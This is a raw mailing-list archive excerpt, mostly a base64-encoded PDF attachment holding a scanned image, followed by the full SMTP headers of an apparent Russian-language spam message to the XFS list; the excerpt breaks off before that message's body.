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 L9jp8izDUUSOR9D0W6BuMlvl865O3y03YVxGMqCG3FTU+j+B7jUDb3PiaKCC2g+a00KxYJaQE53F 1UAMxDFSpLLy/JD7V544eFNKpinotl1t09d9Htbq/hKU76QOW0Pw5deO5ZiLmceHGuElvtQnTbPr syEdgR5cC4Kqo4XHQtnZ7HBBFbQRwQRJFDEoSOONQqooGAABwAB2oggitoI4IIkihiUJHHGoVUUD AAA4AA7VJXJjcdLEyttFbL9X5/8ADJJJI1hDl9QooorhLCiiigAooooAKKKKACiiigAooooAKKKK ACiiigAooooAKKKKACiiigDDuPC9teapqt3d3d3PBqlktjcWTFFi8obsBSqhwf3knO7+M+i4r3Xh AahZNa6hr2s3aSPiffLGgmh2OjQssaKmwiRskKHztO75F29JRQBj6foJ07U7+9TVb6X7ddi6lhkE OzIj8sKMRhgu0R98/u155bdqQxtEhV5pJiXZtzhQQCxIX5QBgA4HfAGSTkmSigDDt/C9tbaol2Lu 7eCG4lu4LJinlQzyb/MkUhQ5J82XhmKjecAYXbYutDhurjU7hbq7t59QsksnkgkCNEqGUq8ZxlXB mY556LxxzqUUAY+h6CdE8wf2rfXkZijhihnEKRwIm7AjSKNFX72Dx0VR0AqTXtFGvWEdo1/d2QS4 iuBJaiPcWjcOgO9GGAyq3T+EDpkHUooAy9S0UarcL9pv7s2BQLNpyiMQT8k/Odm8g8AqHCsBgggs DqUUUAZaaKILC7t7S/u7ae6uHuJLxBG025nzjLoykBQIxkHCKo7A1JpOkppUU/8ApM91cXMvnXFz Pt3yvtVASEVVGERF+VR93JySSdCigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiii gAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKqalpllrGny2Go20dzayj DxyDIPv7EdiOQelW6KcZOLUouzQmr7nFP4Kv9Hsnt/Curi2tPKKLpl/F9otvv79oP31DZkDEliQ/ GNq4xVk1vQI5PtXhbVbREAjW48OXAljLnBPl2TlkROD8xGSTnALHHp9Fd8MxnqqsVK+99G/Vq1/+ 3rmbpLpoedXnxBtPD9xaw6tr4t91vHP9k1HRp1umDLkbpIv3YOcg7UIBBHUGrUHxDFzFFJHd+EMS KGUP4iKtz0yptwQfYjNdvPBFc28kE8SSwyqUkjkUMrqRggg8EEdqy4vCXhuCdJ4vD2kxzIQUkSyj DLjpg44qo4jByj79N39Vb8FH8bj5ZLZnPXvj6TT7FLy5l8LCCRC8bJrzuZFBIJQLbktyCOAeRisC ++KEVy1xbw+JtNtLgPtjt7CwmvJGxjISaTy4yWIIGVxgjk9a70eDfC4II8N6OCDkf6DF1/75rWgt 4LWLyreGOGMEtsjUKMkkk4Hckkn3NaRxOBp6xpNv1Vvual/XYlxqPr/X4HmX/E/1xlktNI1y+WaP ym/4SG6+xRW5Bb/WW0SIsyNkZ+8SBggDro2vgDVNStoIPEOsrb2CAg6PoSfZbXBbJUsMM6sOoIBB Jwe59BorOWZ1LWpRUfxfyvov+3Uvzu1SW7dyhpWiaXokBi0yxgtlYKHaNfmk2jALt1Y+5JNX6KK8 +c5TfNJ3ZokkrIKKKKkYUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFF FABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUU AFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQA UUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABR RRQB/9kKZW5kc3RyZWFtCmVuZG9iagozIDAgb2JqCjw8L0xlbmd0aCA3My9GaWx0ZXIvRmxhdGVE ZWNvZGU+PnN0cmVhbQp4nCvkKlQwsTTTMzVSMABCcwtTPWOggJ6RiYKRhZ6xqUJyroJ+Zm66gYJL vkIgVyBXIZdTCJexmYKFgZlCSAqXawhQDAAC+Q7CCmVuZHN0cmVhbQplbmRvYmoKNSAwIG9iago8 PC9UeXBlL1BhZ2UvTWVkaWFCb3hbMCAwIDU5NSA4NDJdL1Jlc291cmNlczw8L1Byb2NTZXQgWy9Q REYgL1RleHQgL0ltYWdlQiAvSW1hZ2VDIC9JbWFnZUldL1hPYmplY3Q8PC9pbWcwIDIgMCBSPj4+ Pi9Db250ZW50cyAzIDAgUi9QYXJlbnQgNCAwIFI+PgplbmRvYmoKNCAwIG9iago8PC9UeXBlL1Bh Z2VzL0NvdW50IDEvS2lkc1s1IDAgUl0vSVRYVCg1LjEuMyk+PgplbmRvYmoKNiAwIG9iago8PC9U eXBlL0NhdGFsb2cvUGFnZXMgNCAwIFI+PgplbmRvYmoKNyAwIG9iago8PC9Qcm9kdWNlcihjb252 ZXJ0ZmlsZW9ubGluZS5jb20pL0NyZWF0aW9uRGF0ZShEOjIwMTMxMjA1MTMwMTEzKzAxJzAwJykv TW9kRGF0ZShEOjIwMTMxMjA1MTMwMTEzKzAxJzAwJyk+PgplbmRvYmoKeHJlZgowIDgKMDAwMDAw MDAwMCA2NTUzNSBmIAowMDAwMDAwMDE1IDAwMDAwIG4gCjAwMDAwMDI3MDMgMDAwMDAgbiAKMDAw MDE0MzMyMSAwMDAwMCBuIAowMDAwMTQzNjIyIDAwMDAwIG4gCjAwMDAxNDM0NjAgMDAwMDAgbiAK MDAwMDE0MzY4NSAwMDAwMCBuIAowMDAwMTQzNzMwIDAwMDAwIG4gCnRyYWlsZXIKPDwvU2l6ZSA4 L1Jvb3QgNiAwIFIvSW5mbyA3IDAgUi9JRCBbPDczZDJlM2UzMzk3ZDIyMGZhMzliN2ZkZGZhNzRl ODM4PjxlOWVlMzI3YmVkN2ZiOGI0ZjcwOGM3NDBmZTU2ZTUzMz5dPj4Kc3RhcnR4cmVmCjE0Mzg1 MwolJUVPRgo= ------=_NextPart_000_0B9A_01CEF231.694211E0-- From andry-md@waycom.com Thu Dec 5 23:41:45 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id EBE7B7F3F for ; Thu, 5 Dec 2013 23:41:44 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id CC822304062 for ; Thu, 5 Dec 2013 21:41:41 -0800 (PST) X-ASG-Debug-ID: 1386308498-04cbb04166572b60001-NocioJ Received: from hosting.kubic.ru (hosting.kubic.ru [195.208.26.197]) by cuda.sgi.com with ESMTP id j5F5dYdPceuFD0ku (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 05 Dec 2013 21:41:39 -0800 (PST) X-Barracuda-Envelope-From: andry-md@waycom.com X-Barracuda-Apparent-Source-IP: 195.208.26.197 Received: (qmail 40388 invoked from network); 6 Dec 2013 04:56:50 +0400 Received: from ti-225-187-47.telkomadsl.co.za (HELO Unknown) (105.225.187.47) by hosting.kubic.ru with SMTP; 6 Dec 2013 04:56:47 +0400 Message-ID: <5E9EF36021C547FAB001C0859597B953@aofaffj> Reply-To: =?windows-1251?B?3vDo8fI=?= From: =?windows-1251?B?3vDo8fI=?= To: , , , Subject: =?windows-1251?B?/vDo8eru7fHz6/zy?= Date: Fri, 6 Dec 2013 02:09:28 +0100 X-ASG-Orig-Subj: =?windows-1251?B?/vDo8eru7fHz6/zy?= MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_1494_01CEF228.31C08FC0" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Windows Live Mail 14.0.8089.726 X-MimeOLE: Produced By Microsoft MimeOLE V14.0.8089.726 X-Barracuda-Connect: hosting.kubic.ru[195.208.26.197] X-Barracuda-Start-Time: 1386308499 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_TG035a, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142882 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_MESSAGE BODY: HTML included in message 0.00 BSF_SC0_TG035a Message contains invalid style definition This is a multi-part message in MIME format. ------=_NextPart_000_1494_01CEF228.31C08FC0 Content-Type: multipart/alternative; boundary="----=_NextPart_001_1495_01CEF228.31C08FC0" ------=_NextPart_001_1495_01CEF228.31C08FC0 Content-Type: text/plain; charset="windows-1251" Content-Transfer-Encoding: quoted-printable 